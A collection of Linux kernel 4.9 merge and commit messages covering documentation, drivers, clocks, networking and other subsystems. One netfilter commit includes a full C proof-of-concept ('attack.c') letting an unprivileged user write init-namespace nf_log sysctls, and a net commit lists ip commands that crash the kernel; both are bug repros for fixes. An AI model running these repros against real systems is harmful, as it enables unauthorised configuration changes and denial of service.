The Sphinx transition is still creating a fair amount of work. Here we
have a number of fixes and, importantly, a proper PDF output solution,
thanks to Jani Nikula, Mauro Carvalho Chehab and Markus Heiser.
I've started a couple of new books: a driver API book (based on the old
device-drivers.tmpl) and a development tools book. Both are meant to show
how we can integrate together our existing documentation into a more
coherent and accessible whole. It involves moving some stuff around and
formatting changes, but, I think, the results are worth it. The good news
is that most of our existing Documentation/*.txt files are *almost* in RST
format already; the amount of messing around required is minimal.
And, of course, there's the usual set of updates, typo fixes, and more.
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Merge tag 'docs-4.9' of git://git.lwn.net/linux
Pull documentation updates from Jonathan Corbet:
"This is the documentation update pull for the 4.9 merge window.
The Sphinx transition is still creating a fair amount of work. Here we
have a number of fixes and, importantly, a proper PDF output solution,
thanks to Jani Nikula, Mauro Carvalho Chehab and Markus Heiser.
I've started a couple of new books: a driver API book (based on the
old device-drivers.tmpl) and a development tools book. Both are meant
to show how we can integrate together our existing documentation into
a more coherent and accessible whole. It involves moving some stuff
around and formatting changes, but, I think, the results are worth it.
The good news is that most of our existing Documentation/*.txt files
are *almost* in RST format already; the amount of messing around
required is minimal.
And, of course, there's the usual set of updates, typo fixes, and
more"
* tag 'docs-4.9' of git://git.lwn.net/linux: (120 commits)
URL changed for Linux Foundation TAB
dax : Fix documentation with respect to struct pages
iio: Documentation: Correct the path used to create triggers.
docs: Remove space-before-label guidance from CodingStyle
docs-rst: add inter-document cross references
Documentation/email-clients.txt: convert it to ReST markup
Documentation/kernel-docs.txt: reorder based on timestamp
Documentation/kernel-docs.txt: Add dates for online docs
Documentation/kernel-docs.txt: get rid of broken docs
Documentation/kernel-docs.txt: move in-kernel docs
Documentation/kernel-docs.txt: remove more legacy references
Documentation/kernel-docs.txt: add two published books
Documentation/kernel-docs.txt: sort books per publication date
Documentation/kernel-docs.txt: adjust LDD references
Documentation/kernel-docs.txt: some improvements on the ReST output
Documentation/kernel-docs.txt: Consistent indenting: 4 spaces
Documentation/kernel-docs.txt: Add 4 paper/book references
Documentation/kernel-docs.txt: Improve layouting of book list
Documentation/kernel-docs.txt: Remove offline or outdated entries
docs: Clean up bare :: lines
...
1. Fabian Frederick submitted a nice cleanup that uses the BIT macro
rather than bit shifting.
2. Andreas Gruenbacher contributed a patch that fixes a long-standing
annoyance whereby GFS2 warned about dirty pages.
3. Andreas also fixed a problem with the recent extended attribute
readahead feature.
4. Chao Yu contributed a patch that checks the return code from function
register_shrinker and reacts accordingly. Previously, it was not checked.
5. Andreas Gruenbacher also fixed a problem whereby incore file timestamps
were forgotten if the file was invalidated. This merely moves the
assignment inside the inode glock where it belongs.
6. He also fixed a problem where incore timestamps were not initialized.
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Merge tag 'gfs2-4.8.fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/gfs2/linux-gfs2
Pull gfs2 updates from Bob Peterson:
"We've only got six GFS2 patches for this merge window. In patch
order:
- Fabian Frederick submitted a nice cleanup that uses the BIT macro
rather than bit shifting.
- Andreas Gruenbacher contributed a patch that fixes a long-standing
annoyance whereby GFS2 warned about dirty pages.
- Andreas also fixed a problem with the recent extended attribute
readahead feature.
- Chao Yu contributed a patch that checks the return code from
function register_shrinker and reacts accordingly. Previously, it
was not checked.
- Andreas Gruenbacher also fixed a problem whereby incore file
timestamps were forgotten if the file was invalidated. This merely
moves the assignment inside the inode glock where it belongs.
- Andreas also fixed a problem where incore timestamps were not
initialized"
* tag 'gfs2-4.8.fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/gfs2/linux-gfs2:
gfs2: Initialize atime of I_NEW inodes
gfs2: Update file times after grabbing glock
gfs2: fix to detect failure of register_shrinker
gfs2: Fix extended attribute readahead optimization
gfs2: Remove dirty buffer warning from gfs2_releasepage
GFS2: use BIT() macro
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Merge tag 'locks-v4.9-1' of git://git.samba.org/jlayton/linux
Pull file locking updates from Jeff Layton:
"Only a single patch from Nikolay this cycle, with a small change to
better handle /proc/locks in a containerized host"
* tag 'locks-v4.9-1' of git://git.samba.org/jlayton/linux:
locks: Filter /proc/locks output on proc pid ns
- Updates to hfi1 driver
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Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma
Pull hdi1 rdma driver updates from Doug Ledford:
"This is the first pull request of the 4.9 merge window for the RDMA
subsystem. It is only the hfi1 driver. It had dependencies on code
that only landed late in the 4.7-rc cycle (around 4.7-rc7), so putting
this with my other for-next code would have create an ugly merge of
lot of 4.7-rc stuff. For that reason, it's being submitted
individually. It's been through 0day and linux-next"
* tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (37 commits)
IB/rdmavt: Trivial function comment corrected.
IB/hfi1: Fix trace of atomic ack
IB/hfi1: Update SMA ingress checks for response packets
IB/hfi1: Use EPROM platform configuration read
IB/hfi1: Add ability to read platform config from the EPROM
IB/hfi1: Restore EPROM read ability
IB/hfi1: Document new sysfs entries for hfi1 driver
IB/hfi1: Add new debugfs sdma_cpu_list file
IB/hfi1: Add irq affinity notification handler
IB/hfi1: Add a new VL sysfs attribute for sdma engines
IB/hfi1: Add sysfs interface for affinity setup
IB/hfi1: Fix resource release in context allocation
IB/hfi1: Remove unused variable from devdata
IB/hfi1: Cleanup tasklet refs in comments
IB/hfi1: Adjust hardware buffering parameter
IB/hfi1: Act on external device timeout
IB/hfi1: Fix defered ack race with qp destroy
IB/hfi1: Combine shift copy and byte copy for SGE reads
IB/hfi1: Do not read more than a SGE length
IB/hfi1: Extend i2c timeout
...
buffers (Thor Thayer)
* Split the memory controller part out of mpc85xx and share it with a
* new Freescale ARM Layerscape driver (York Sun)
* amd64_edac fixes (Yazen Ghannam)
* Misc cleanups, refactoring and fixes all over the place
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Merge tag 'edac_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/bp/bp
Pull EDAC updates from Borislav Petkov:
"A lot of movement in the EDAC tree this time around, coarse summary
below:
- Altera Arria10 enablement of NAND, DMA, USB, QSPI and SD-MMC FIFO
buffers (Thor Thayer)
- split the memory controller part out of mpc85xx and share it with a
new Freescale ARM Layerscape driver (York Sun)
- amd64_edac fixes (Yazen Ghannam)
- misc cleanups, refactoring and fixes all over the place"
* tag 'edac_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/bp/bp: (37 commits)
EDAC, altera: Add IRQ Flags to disable IRQ while handling
EDAC, altera: Correct EDAC IRQ error message
EDAC, amd64: Autoload module using x86_cpu_id
EDAC, sb_edac: Remove NULL pointer check on array pci_tad
EDAC: Remove NO_IRQ from powerpc-only drivers
EDAC, fsl_ddr: Fix error return code in fsl_mc_err_probe()
EDAC, fsl_ddr: Add entry to MAINTAINERS
EDAC: Move Doug Thompson to CREDITS
EDAC, I3000: Orphan driver
EDAC, fsl_ddr: Replace simple_strtoul() with kstrtoul()
EDAC, layerscape: Add Layerscape EDAC support
EDAC, fsl_ddr: Fix IRQ dispose warning when module is removed
EDAC, fsl_ddr: Add support for little endian
EDAC, fsl_ddr: Add missing DDR DRAM types
EDAC, fsl_ddr: Rename macros and names
EDAC, fsl-ddr: Separate FSL DDR driver from MPC85xx
EDAC, mpc85xx: Replace printk() with pr_* format
EDAC, mpc85xx: Drop setting/clearing RFXE bit in HID1
EDAC, altera: Rename MC trigger to common name
EDAC, altera: Rename device trigger to common name
...
The SPI subsystem has also had quite a quiet release, though with a
fairly large set of per-driver changes and several new drivers. The
bulk of the changes are:
- Lots and lots of cleanups and improvements for the fsl-espi driver.
- New drivers for Broadcom MSPI/iProc/STB, Cavium ThunderX and J-Core.
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Merge tag 'spi-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi
Pull spi updates from Mark Brown:
"The SPI subsystem has also had quite a quiet release, though with a
fairly large set of per-driver changes and several new drivers. The
bulk of the changes are:
- lots and lots of cleanups and improvements for the fsl-espi driver
- new drivers for Broadcom MSPI/iProc/STB, Cavium ThunderX and
J-Core"
* tag 'spi-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/spi: (80 commits)
spi: sc18is602: Change gpiod_set_value to gpiod_set_value_cansleep
spi: pxa2xx: Fix build error because of missing header
spi: imx: fix error return code in spi_imx_probe()
spi: pxa2xx: Add support for GPIO descriptor chip selects
spi: imx: Gracefully handle NULL master->cs_gpios
spi: iproc-qspi: Add Broadcom iProc SoCs support
spi: fsl-espi: improve return value handling in fsl_espi_probe
spi: fsl-espi: simplify of_fsl_espi_probe
spi: fsl-espi: remove unused variable in fsl_espi_setup
spi: bcm-qspi: Fix error return code in bcm_qspi_probe()
spi: bcm-qspi: Fix return value check in bcm_qspi_probe()
spi: bcm-qspi: fix suspend/resume #ifdef
spi: bcm-qspi: don't include linux/mtd/cfi.h
spi: core: Use spi_sync_transfer() in spi_write()/spi_read()
spi: fsl-espi: improve and extend register bit definitions
spi: fsl-espi: align register access with other drivers
spi: fsl-espi: improve and simplify interrupt handler
spi: fsl-espi: simplify fsl_espi_setup_transfer
spi: imx: support loopback mode on imx35
spi: imx: set spi_bus_clk for mx1, mx31 and mx35
...
This is an extremely quiet release for the regulator API, we've got a
small set of bug fixes and minor feature enhancements for drivers plus a
couple of more visible changes:
- Add support for ramp times in regulators that don't use selectors.
- New driver for LTC3676.
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Merge tag 'regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator
Pull regulator updates from Mark Brown:
"This is an extremely quiet release for the regulator API, we've got a
small set of bug fixes and minor feature enhancements for drivers plus
a couple of more visible changes:
- add support for ramp times in regulators that don't use selectors.
- new driver for LTC3676"
* tag 'regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regulator:
regulator: dbx500: remove unused functions in dbx500-prcmu.c
regulator: pv88080: Update regulator for PV88080 BB silicon support
regulator: core: don't return error with inadequate reason
regulator: tps65910: Work around silicon erratum SWCZ010
regulator: core: Add set_voltage_time op
regulator: core: Don't skip set_voltage_time when ramp delay disabled
regulator: core: Simplify error flow in _regulator_do_set_voltage()
regulator: core: Use local ops variable in _regulator_do_set_voltage()
regulator: hi6421: mark hi6421_regulator_ldo_get_optimum_mode() static
regulator: Kconfig: Fix typo
regulator: bindings: Use the correct symbol for second
regulator: Remove support for optional supplies in the bulk API
regulator: Add LTC3676 support
regulator: rk808: Delete owner assignment
regulator: tps65218: do not disable DCDC3 during poweroff on broken PMICs
mfd: tps65218: add version check to the PMIC probe
Another quiet release, a few small extensions to the set of register
maps we support and an improvement in the debugfs code:
- Allow viewing of cached contents for write only registers via
debugfs.
- Support a wider range of read/write flag masks in register formats.
- Support more little endian formats.
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Merge tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap
Pull regmap updates from Mark Brown:
"Another quiet release, a few small extensions to the set of register
maps we support and an improvement in the debugfs code:
- allow viewing of cached contents for write only registers via
debugfs.
- support a wider range of read/write flag masks in register formats.
- support more little endian formats"
* tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap:
regmap: Add missing little endian functions
regmap: Allow longer flag masks for read and write
regmap: debugfs: Add support for dumping write only device registers
regmap: Add a function to check if a regmap register is cached
that weren't causing enough problems (or any problems when we're just
clarifying things) to warrant sending outside the merge window. The
majority of changes are in drivers for various SoCs. Full details
are in the logs, but here's the summary.
Core:
- Better support for DeviceTree overlays with the addition of the
CLK_OF_DECLARE_DRIVER macro. Now we won't probe a clk driver
for a device node that matched during of_clk_init(), unless
the driver uses CLK_OF_DECLARE_DRIVER instead of CLK_OF_DECLARE.
This allows overlays to work cleanly for drivers that must probe
before the device model is ready, and also after it's ready
when an overlay is loaded.
- Clarification in the code around how clk_hw pointers are returned
from of clk providers
- Proper migration of prepare/enable counts to parents when the
clk tree is constructed
New Drivers:
- Socionext's UniPhier SoCs
- Loongson1C
- ZTE ZX296718
- Qualcomm MDM9615
- Amlogic GXBB AO clocks and resets
- Broadcom BCM53573 ILP
- Maxim MAX77620
Updates:
- Four Allwinner SoCs are migrated to the new style clk driver (A31, A31s,
A23 and A33)
- Exynos 5xxx audio and DRAM clks
- Loongson1B AC97, DMA and NAND clks
- Rockchip DDR clks and rk3399 driver tweaks
- Renesas R-Car M3-W (r8a7796) SoC SDHI interface and Watchdog timer clks
- Renasas R-Car H3 and M3-W CMT clks and RAVB+Thermal clks for M3-W
- Amlogic GXBB MMC gate clks
- at91 sama5d4 sckc
- Removal of STiH415 and STiH416 clk support as the SoC is being removed
- Rework of STiH4xx clk support for new style bindings
- Continuation of driver migration to clk_hw based registration APIs
- xgene PMD support
- bcm2835 critical clk markings
- ARM versatile ICST
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Merge tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux
Pull clk framework updates from Stephen Boyd:
"The core clk framework changes are small again. They're mostly minor
fixes that weren't causing enough problems (or any problems when we're
just clarifying things) to warrant sending outside the merge window.
The majority of changes are in drivers for various SoCs. Full details
are in the logs, but here's the summary.
Core:
- Better support for DeviceTree overlays with the addition of the
CLK_OF_DECLARE_DRIVER macro. Now we won't probe a clk driver for a
device node that matched during of_clk_init(), unless the driver
uses CLK_OF_DECLARE_DRIVER instead of CLK_OF_DECLARE. This allows
overlays to work cleanly for drivers that must probe before the
device model is ready, and also after it's ready when an overlay is
loaded.
- Clarification in the code around how clk_hw pointers are returned
from of clk providers
- Proper migration of prepare/enable counts to parents when the clk
tree is constructed
New Drivers:
- Socionext's UniPhier SoCs
- Loongson1C
- ZTE ZX296718
- Qualcomm MDM9615
- Amlogic GXBB AO clocks and resets
- Broadcom BCM53573 ILP
- Maxim MAX77620
Updates:
- Four Allwinner SoCs are migrated to the new style clk driver (A31,
A31s, A23 and A33)
- Exynos 5xxx audio and DRAM clks
- Loongson1B AC97, DMA and NAND clks
- Rockchip DDR clks and rk3399 driver tweaks
- Renesas R-Car M3-W (r8a7796) SoC SDHI interface and Watchdog timer
clks
- Renasas R-Car H3 and M3-W CMT clks and RAVB+Thermal clks for M3-W
- Amlogic GXBB MMC gate clks
- at91 sama5d4 sckc
- Removal of STiH415 and STiH416 clk support as the SoC is being
removed
- Rework of STiH4xx clk support for new style bindings
- Continuation of driver migration to clk_hw based registration APIs
- xgene PMD support
- bcm2835 critical clk markings
- ARM versatile ICST"
* tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: (199 commits)
CLK: Add Loongson1C clock support
clk: Loongson1: Make use of GENMASK
clk: Loongson1: Update clocks of Loongson1B
clk: Loongson1: Refactor Loongson1 clock
clk: change the type of clk_hw_onecell_data.num to unsigned int
clk: zx296718: register driver earlier with core_initcall
clk: mvebu: dynamically allocate resources in Armada CP110 system controller
clk: mvebu: fix setting unwanted flags in CP110 gate clock
clk: nxp: clk-lpc32xx: Unmap region obtained by of_iomap
clk: mediatek: clk-mt8173: Unmap region obtained by of_iomap
clk: sunxi-ng: Fix reset offset for the A23 and A33
clk: at91: sckc: optimize boot time
clk: at91: Add sama5d4 sckc support
clk: at91: move slow clock controller clocks to sckc.c
clk: imx6: initialize GPU clocks
clk: imx6: fix i.MX6DL clock tree to reflect reality
clk: imx53: Add clocks configuration
clk: uniphier: add clock data for UniPhier SoCs
clk: uniphier: add core support code for UniPhier clock driver
clk: bcm: Add driver for BCM53573 ILP clock
...
- New hwmon registration API, including ports of several drivers
to the new API
- New hwmon driver for APM X-Gene SoC
- Added support for UCD90160, DPS-460, DPS-800, and SGD009 PMBUs chips
- Various cleanups, minor improvements, and fixes in several drivers
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Merge tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging
Pull hwmon updates from Guenter Roeck:
- New hwmon registration API, including ports of several drivers to the
new API
- New hwmon driver for APM X-Gene SoC
- Added support for UCD90160, DPS-460, DPS-800, and SGD009 PMBUs chips
- Various cleanups, minor improvements, and fixes in several drivers
* tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: (54 commits)
hwmon: (nct6775) Add support for multiple virtual temperature sources
hwmon: (adt7470) No need for additional synchronization on kthread_stop()
hwmon: (lm95241) Update module description to include LM95231
hwmon: (lm95245) Select REGMAP_I2C
hwmon: (ibmpowernv) Fix label for cores numbers not threads
hwmon: (adt7470) Allow faster removal
hwmon: (adt7470) Add write support to alarm_mask
hwmon: (xgene) access mailbox as RAM
hwmon: (lm95245) Use new hwmon registration API
hwmon: (lm95241) Convert to use new hwmon registration API
hwmon: (jc42) Convert to use new hwmon registration API
hwmon: (max31790) Convert to use new hwmon registration API
hwmon: (nct7904) Convert to use new hwmon registration API
hwmon: (ltc4245) Convert to use new hwmon registration API
hwmon: (tmp421) Convert to use new hwmon registration API
hwmon: (tmp102) Convert to use new hwmon registration API
hwmon: (lm90) Convert to use new hwmon registration API
hwmon: (lm75) Convert to use new hwmon registration API
hwmon: (xgene) Fix crash when alarm occurs before driver probe
hwmon: (iio_hwmon) defer probe when no channel is found
...
Pull LED driver updates from Jacek Anaszewski:
"Three new LED class drivers and some minor fixes and improvementes to
the leds-gpio driver, LED Trigger core and documentation"
* 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds:
leds: triggers: Check return value of kobject_uevent_env()
leds: triggers: Return from led_trigger_set() if there is nothing to do
leds: gpio: fix and simplify error handling in gpio_leds_create
leds: gpio: switch to managed version of led_classdev_register
leds: gpio: fix and simplify reading property "label"
leds: gpio: simplify gpio_leds_create
leds: gpio: add helper cdev_to_gpio_led_data
leds: gpio: fix an unhandled error case in create_gpio_led
leds: gpio: introduce gpio_blink_set_t
leds: add driver for Mellanox systems LEDs
Documentation: move oneshot trigger attributes documentation to ABI
leds: centralize definition of "default-state" property
leds: add PM8058 LEDs driver
leds: pm8058: add device tree bindings
leds: do not overflow sysfs buffer in led_trigger_show
leds: make triggers explicitly non-modular
DT: leds: Add bindings for ISSI is31fl319x
leds: is31fl319x: 1/3/6/9-channel light effect led driver
Auvidea (http://www.auvidea.eu/) produces embedded devices and
baseboards with a focus on audio and video technology.
Signed-off-by: Lucas Stach <l.stach@pengutronix.de>
Signed-off-by: Rob Herring <robh@kernel.org>
Resolve the merge conflict between Felix's/my and Toke's patches
coming into the tree through net and mac80211-next respectively.
Most of Felix's changes go away due to Toke's new infrastructure
work, my patch changes to "goto begin" (the label wasn't there
before) instead of returning NULL so flow control towards drivers
is preserved better.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Gavin Shan says:
====================
net/ncsi: NCSI Improvment and bug fixes
This series of patches improves NCSI stack according to the comments
I received after the NCSI code was merged to 4.8.rc1:
* PATCH[1/8] fixes the build warning caused by xchg() with ia64-linux-gcc.
The atomic operations are removed. The NCSI's lock should be taken when
reading or updating its state and chained state.
* Channel ID (0x1f) is the reserved one and it cannot be valid channel ID.
So we needn't try to probe channel whose ID is 0x1f. PATCH[2/8] and
PATCH[3/8] are addressing this issue.
* The request IDs are assigned in round-robin fashion, but it's broken.
PATCH[4/8] make it work.
* PATCH[5/8] and PATCH[6/8] reworks the channel monitoring to improve the
code readability and its robustness.
* PATCH[7/8] and PATCH[8/8] introduces ncsi_stop_dev() so that the network
device can be closed and opened afterwards. No error will be seen.
Changelog
=========
v2:
* The NCSI's lock is taken when reading or updating its state as the
{READ,WRITE}_ONCE() isn't reliable.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
This stops NCSI device when closing the network device so that the
NCSI device can be reenabled later.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
This introduces ncsi_stop_dev(), as counterpart to ncsi_start_dev(),
to stop the NCSI device so that it can be reenabled in future. This
API should be called when the network device driver is going to
shutdown the device. There are 3 things done in the function: Stop
the channel monitoring; Reset channels to inactive state; Report
NCSI link down.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
The original NCSI channel monitoring was implemented based on a
backoff algorithm: the GLS response should be received in the
specified interval. Otherwise, the channel is regarded as dead
and failover should be taken if current channel is an active one.
There are several problems in the implementation: (A) On BCM5718,
we found when the IID (Instance ID) in the GLS command packet
changes from 255 to 1, the response corresponding to IID#1 never
comes in. It means we cannot make the unfair judgement that the
channel is dead when one response is missed. (B) The code's
readability should be improved. (C) We should do failover when
current channel is active one and the channel monitoring should
be marked as disabled before doing failover.
This reworks the channel monitoring to address all above issues.
The fields for channel monitoring is put into separate struct
and the state of channel monitoring is predefined. The channel
is regarded alive if the network controller responses to one of
two GLS commands or both of them in 5 seconds.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
There is only one NCSI request property for now: the response for
the sent command need drive the workqueue or not. So we had one
field (@driven) for the purpose. We lost the flexibility to extend
NCSI request properties.
This replaces @driven with @flags and @req_flags in NCSI request
and NCSI command argument struct. Each bit of the newly introduced
field can be used for one property. No functional changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
The NCSI request index (struct ncsi_request::id) is put into instance
ID (IID) field while sending NCSI command packet. It was designed the
available IDs are given in round-robin fashion. @ndp->request_id was
introduced to represent the next available ID, but it has been used
as number of successively allocated IDs. It breaks the round-robin
design. Besides, we shouldn't put 0 to NCSI command packet's IID
field, meaning ID#0 should be reserved according section 6.3.1.1
in NCSI spec (v1.1.0).
This fixes above two issues. With it applied, the available IDs will
be assigned in round-robin fashion and ID#0 won't be assigned.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
We needn't send CIS (Clear Initial State) command to the NCSI
reserved channel (0x1f) in the enumeration. We shouldn't receive
a valid response from CIS on NCSI channel 0x1f.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
This defines NCSI_RESERVED_CHANNEL as the reserved NCSI channel
ID (0x1f). No logical changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
xchg() is used to set NCSI channel's state in order for consistent
access to the state. xchg()'s return value should be used. Otherwise,
one build warning will be raised (with -Wunused-value) as below message
indicates. It is reported by ia64-linux-gcc (GCC) 4.9.0.
net/ncsi/ncsi-manage.c: In function 'ncsi_channel_monitor':
arch/ia64/include/uapi/asm/cmpxchg.h:56:2: warning: value computed is \
not used [-Wunused-value]
((__typeof__(*(ptr))) __xchg((unsigned long) (x), (ptr), sizeof(*(ptr))))
^
net/ncsi/ncsi-manage.c:202:3: note: in expansion of macro 'xchg'
xchg(&nc->state, NCSI_CHANNEL_INACTIVE);
This removes the atomic access to NCSI channel's state avoid the above
build warning. We have to hold the channel's lock when its state is readed
or updated. No functional changes introduced.
Signed-off-by: Gavin Shan <gwshan@linux.vnet.ibm.com>
Reviewed-by: Joel Stanley <joel@jms.id.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
This is a respin of a patch to fix a relatively easily reproducible kernel
panic related to the all_adj_list handling for netdevs in recent kernels.
The following sequence of commands will reproduce the issue:
ip link add link eth0 name eth0.100 type vlan id 100
ip link add link eth0 name eth0.200 type vlan id 200
ip link add name testbr type bridge
ip link set eth0.100 master testbr
ip link set eth0.200 master testbr
ip link add link testbr mac0 type macvlan
ip link delete dev testbr
This creates an upper/lower tree of (excuse the poor ASCII art):
/---eth0.100-eth0
mac0-testbr-
\---eth0.200-eth0
When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from
the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one
reference to eth0 is added, so this results in a panic.
This change adds reference count propagation so things are handled properly.
Matthias Schiffer reported a similar crash in batman-adv:
https://github.com/freifunk-gluon/gluon/issues/680https://www.open-mesh.org/issues/247
which this patch also seems to resolve.
Signed-off-by: Andrew Collins <acollins@cradlepoint.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Edge-rate:
As system and networking speeds increase, a signal's output transition,
also know as the edge rate or slew rate (V/ns), takes on greater importance
because high-speed signals come with a price. That price is an assortment of
interference problems like ringing on the line, signal overshoot and
undershoot, extended signal settling times, crosstalk noise, transmission
line reflections, false signal detection by the receiving device and
electromagnetic interference (EMI) -- all of which can negate the potential
gains designers are seeking when they try to increase system speeds through
the use of higher performance logic devices. The fact is, faster signaling
edge rates can cause a higher level of electrical noise or other type of
interference that can actually lead to slower line speeds and lower maximum
system frequencies. This parameter allow the board designers to change the
driving strange, and thereby change the EMI behavioral.
Edge-rate parameters (vddmac, edge-slowdown) get from Device Tree.
Tested on Beaglebone Black with VSC 8531 PHY.
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
vmxnet3_reset_work() expects tx queues to be stopped (via
vmxnet3_quiesce_dev -> netif_tx_disable). However, this races with the
netif_wake_queue() call in netif_tx_timeout() such that the driver's
start_xmit routine may be called unexpectedly, triggering one of the BUG_ON
in vmxnet3_map_pkt with a stack trace like this:
RIP: 0010:[<ffffffffa00cf4bc>] vmxnet3_map_pkt+0x3ac/0x4c0 [vmxnet3]
[<ffffffffa00cf7e0>] vmxnet3_tq_xmit+0x210/0x4e0 [vmxnet3]
[<ffffffff813ab144>] dev_hard_start_xmit+0x2e4/0x4c0
[<ffffffff813c956e>] sch_direct_xmit+0x17e/0x1e0
[<ffffffff813c96a7>] __qdisc_run+0xd7/0x130
[<ffffffff813a6a7a>] net_tx_action+0x10a/0x200
[<ffffffff810691df>] __do_softirq+0x11f/0x260
[<ffffffff81472fdc>] call_softirq+0x1c/0x30
[<ffffffff81004695>] do_softirq+0x65/0xa0
[<ffffffff81069b89>] local_bh_enable_ip+0x99/0xa0
[<ffffffffa031ff36>] destroy_conntrack+0x96/0x110 [nf_conntrack]
[<ffffffff813d65e2>] nf_conntrack_destroy+0x12/0x20
[<ffffffff8139c6d5>] skb_release_head_state+0xb5/0xf0
[<ffffffff8139d299>] skb_release_all+0x9/0x20
[<ffffffff8139cfe9>] __kfree_skb+0x9/0x90
[<ffffffffa00d0069>] vmxnet3_quiesce_dev+0x209/0x340 [vmxnet3]
[<ffffffffa00d020a>] vmxnet3_reset_work+0x6a/0xa0 [vmxnet3]
[<ffffffff8107d7cc>] process_one_work+0x16c/0x350
[<ffffffff810804fa>] worker_thread+0x17a/0x410
[<ffffffff810848c6>] kthread+0x96/0xa0
[<ffffffff81472ee4>] kernel_thread_helper+0x4/0x10
Signed-off-by: Benjamin Poirier <bpoirier@suse.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
That just generally kills the machine, and makes debugging only much
harder, since the traces may long be gone.
Debugging by assert() is a disease. Don't do it. If you can continue,
you're much better off doing so with a live machine where you have a
much higher chance that the report actually makes it to the system logs,
rather than result in a machine that is just completely dead.
The only valid situation for BUG_ON() is when continuing is not an
option, because there is massive corruption. But if you are just
verifying that something is true, you warn about your broken assumptions
(preferably just once), and limp on.
